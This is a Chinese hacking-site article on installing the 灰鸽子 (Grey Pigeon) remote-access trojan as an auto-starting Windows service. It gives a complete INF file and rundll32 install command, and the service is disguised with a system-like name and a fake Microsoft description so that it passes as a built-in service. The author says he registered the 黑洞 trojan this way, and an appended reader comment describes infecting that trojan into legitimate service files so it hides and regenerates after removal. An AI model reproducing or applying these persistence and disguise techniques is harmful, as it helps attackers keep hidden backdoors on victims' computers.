上一篇:SQL注入攻击零距离 >>
灰鸽子注册成系统服务的方法
例子如下:
增加一个服务:
[version]
signature="$windows nt$"
[defaultinstall.services]
addservice=inetsvr,,my_addservice_name
[my_addservice_name]
displayname=windows internet service
description=提供对 internet 信息服务管理的支持。
servicetype=0x10
starttype=2
errorcontrol=0
servicebinary=%11%\inetsvr.exe
保存为inetsvr.inf,然后:
rundll32.exe setupapi,installhinfsection defaultinstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 os初始化时加载,2 由scm(服务控制管理器)自动启动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到lastknowngood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(winnt或windows),%12%为驱动目录system32\drivers。其他取值参见ddk。你也可以不用变量,直接使用全路径。
这四项是必须要有的。
2,除例子中的六个项目,还有loadordergroup、dependencies等。不常用所以不介绍了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[version]
signature="$windows nt$"
[defaultinstall.services]
delservice=inetsvr
很简单,不是吗?
当然,你也可以通过导入注册表达到目的。但inf自有其优势。
1,导出一个系统自带服务的注册表项,你会发现其执行路径是这样的:
"imagepath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%systemroot%\system32\tlntsvr.exe,但数据类型是reg_expand_sz。当手动导入注册表以增加服务时,这样定义imagepath显然很不方便。而使用inf文件就完全没有这个问题,servicebinary(即imagepath)自动成为reg_expand_sz。
2,最关键的是,和用sc等工具一样,inf文件的效果是即时起效的,而导入reg后必须重启才有效。
3,inf文件会自动为服务的注册表项添加一个security子键,使它看起来更像系统自带的服务。
另外,addservice和delservice以及addreg、delreg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。
我就是这样手工把黑洞注册成服务了,呵呵。
安静的补充:
不错...
我是用把黑洞感染进别的服务文件以达到以服务方式启动的....
特点是隐蔽性好!~..还有点自我保护功能呵呵..就算他删了.重新启动又会再生成
由于是感染进去的所以不会影响原文件:)
()
下一篇:红色警报:小心你的ADSL猫 >>
相关文章:
- · CHM帮助文件的编程实现
- · 使用Magic Winmail来提升权限
- · 解析系统漏洞扫描的两大类型
- · 局域网监控我最行——Netrobocop
- · 让Ghostbusters为电脑保驾护航
- · 辨别入侵检测系统性能的方法
- · 瑞星个人防火墙安装与使用
- · 系统漏洞扫描之王——Nmap详解
- · 图解杀毒软件McAfee的使用方法
- · LB论坛(所有版本)跨站脚本漏洞
- · 破解QQ“隐身”的几大绝招
- · 入侵不要忘了"Site:Titel:..."
- · Linux中实现局域网远程接入
- · QQ 2005贺岁版登录口令加密算法及其源代码
- · 脚本的巧妙应用
- · Linux操作系统12则经典应用技巧
- · 绕过javascript的过滤----Flash!attack漏洞
- · 只用ISO映像文件能装系统
- · 用perl调用系统命令来实现IPC$远程猜解
- · 外挂编写完全攻略
- · 注册表的六种个性化应用
- · 命令行下修改文件访问控制权限
- · SQL Server应用程序中的高级SQL注入
- · leadbbs移花接木漏洞与加入黑客木马
- · XPSP2多线程访问提速秘技
- · Sniffer:黑客入侵最常用的手段
- · CGI安全漏洞资料速查表
- · 浅谈如何针对DDos部署防御措施
- · 什么是 TCP SYN Flood 攻击
- · TCP协议的通讯方式
- · 基于NetBIOS的简单Windows进攻法
- · UNIX及黑客入门的探索与思考
- · 文件扩展名导致的安全问题
- · 黑客攻击步骤-如何获得IP
- · 局域网上网的安全防范与技巧
- · 在2000/xp下禁用USB接口
- · 最全最新的mp3芯片介绍
- · 防止Serv_U6.0.0.2权限提升的方法
